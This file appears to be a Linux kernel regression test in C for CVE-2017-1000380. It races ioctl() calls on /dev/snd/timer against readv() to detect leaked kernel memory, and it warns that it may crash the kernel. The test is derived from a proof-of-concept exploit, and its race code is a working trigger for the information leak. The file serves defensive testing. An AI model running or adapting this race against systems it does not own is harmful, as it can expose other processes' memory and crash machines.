• Home
  • Line#
  • Scopes#
  • Navigate#
  • Raw
  • Download
1 // SPDX-License-Identifier: GPL-2.0-or-later
2 
3 /* Copyright (c) 2019 Michael Moese <mmoese@suse.com>
4  * Regression test for CVE-2017-1000380 based on the original PoC exploit
5  * by Alexander Potapenko <glider@google.com>
6  *
7  * Be careful! This test may crash your kernel!
8  *
9  * The test performs several ioctl() parallel with readv() on the same
10  * file descriptor to /dev/snd/timer. A buggy kernel will leak memory
11  * to the process, which may contain information from the the kernel or
12  * any other process on the system.
13  *
14  * The issue was fixed with
15  *   http://git.kernel.org/linus/d11662f4f798b50d8c8743f433842c3e40fe3378
16  *   http://git.kernel.org/linus/ba3021b2c79b2fa9114f92790a99deb27a65b728
17  */
18 
19 #include "config.h"
20 #include "tst_test.h"
21 #include "tst_taint.h"
22 #include "tst_fuzzy_sync.h"
23 #include "tst_safe_macros.h"
24 #include "tst_safe_pthread.h"
25 
26 #include <errno.h>
27 #include <fcntl.h>
28 #include <pthread.h>
29 #include <stdio.h>
30 #include <string.h>
31 #include <sys/uio.h>
32 #include <sys/ioctl.h>
33 #include <sound/asound.h>
34 
35 #define MAX_BUFSIZE 1024
36 
37 static int snd_fd;
38 static struct tst_fzsync_pair fzsync_pair;
39 
ioctl_thread(void * unused)40 static void *ioctl_thread(void *unused)
41 {
42 	int tread_arg = 1;
43 	struct snd_timer_select ts;
44 	struct snd_timer_params tp;
45 
46 	memset(&ts, 0, sizeof(ts));
47 	ts.id.dev_class = 1;
48 
49 	memset(&tp, 0, sizeof(tp));
50 	tp.ticks = 1;
51 	tp.filter = 0xf;
52 
53 	while (tst_fzsync_run_b(&fzsync_pair)) {
54 
55 		ioctl(snd_fd, SNDRV_TIMER_IOCTL_TREAD, &tread_arg);
56 
57 		ioctl(snd_fd, SNDRV_TIMER_IOCTL_SELECT, &ts);
58 
59 		ioctl(snd_fd, SNDRV_TIMER_IOCTL_PARAMS, &tp);
60 
61 		ioctl(snd_fd, SNDRV_TIMER_IOCTL_START, 0);
62 
63 		tst_fzsync_end_race_b(&fzsync_pair);
64 	}
65 	return unused;
66 }
67 
setup(void)68 static void setup(void)
69 {
70 	if(access("/dev/snd/timer", F_OK))
71 		tst_brk(TCONF, "The file '/dev/snd/timer' is not exist");
72 
73 	tst_fzsync_pair_init(&fzsync_pair);
74 	tst_taint_init(TST_TAINT_W | TST_TAINT_D);
75 	snd_fd = SAFE_OPEN("/dev/snd/timer",
76 			O_RDONLY|O_CREAT|O_NOCTTY|O_SYNC|O_LARGEFILE, 0);
77 }
78 
cleanup(void)79 static void cleanup(void)
80 {
81 	if (snd_fd > 0)
82 		SAFE_CLOSE(snd_fd);
83 }
84 
run(void)85 static void run(void)
86 {
87 	size_t len;
88 	int size;
89 	struct iovec iov;
90 	pthread_t th;
91 	char read_buf[MAX_BUFSIZE];
92 	int i, nz;
93 	pthread_attr_t thread_attr;
94 
95 	pthread_attr_init(&thread_attr);
96 	pthread_attr_setdetachstate(&thread_attr, PTHREAD_CREATE_DETACHED);
97 	SAFE_PTHREAD_CREATE(&th, &thread_attr, ioctl_thread, NULL);
98 
99 	iov.iov_base = read_buf;
100 	iov.iov_len = sizeof(read_buf) - 1;
101 
102 	tst_fzsync_pair_reset(&fzsync_pair, NULL);
103 	while (tst_fzsync_run_a(&fzsync_pair)) {
104 		nz = 0;
105 		memset(read_buf, 0, sizeof(read_buf));
106 		size = readv(snd_fd, &iov, 1);
107 
108 		tst_fzsync_end_race_a(&fzsync_pair);
109 
110 		/* check if it could be a valid ioctl result */
111 		if (size == 0)
112 			continue;
113 
114 		/* check if the buffer is non-empty */
115 		for (i = 0; i < size; i++) {
116 			if (read_buf[i]) {
117 				nz = 1;
118 				break;
119 			}
120 		}
121 		if (!nz)
122 			continue;
123 
124 		len = strlen(read_buf);
125 		/* the kernel's struct snd_timer_read is two unsigned integers*/
126 		if (len <= 2 * sizeof(unsigned int))
127 			continue;
128 
129 		tst_res(TFAIL, "kernel seems vulnerable");
130 		return;
131 	}
132 
133 	if (tst_taint_check() != 0)
134 		tst_res(TFAIL, "kernel seems vulnerable");
135 	else
136 		tst_res(TPASS, "kernel seems not vulnerable");
137 }
138 
139 static struct tst_test test = {
140 	.test_all = run,
141 	.setup = setup,
142 	.cleanup = cleanup,
143 	.tags = (const struct tst_tag[]) {
144 		{"linux-git", "d11662f4f798"},
145 		{"linux-git", "ba3021b2c79b"},
146 		{"CVE", "2017-1000380"},
147 		{}
148 	}
149 };
150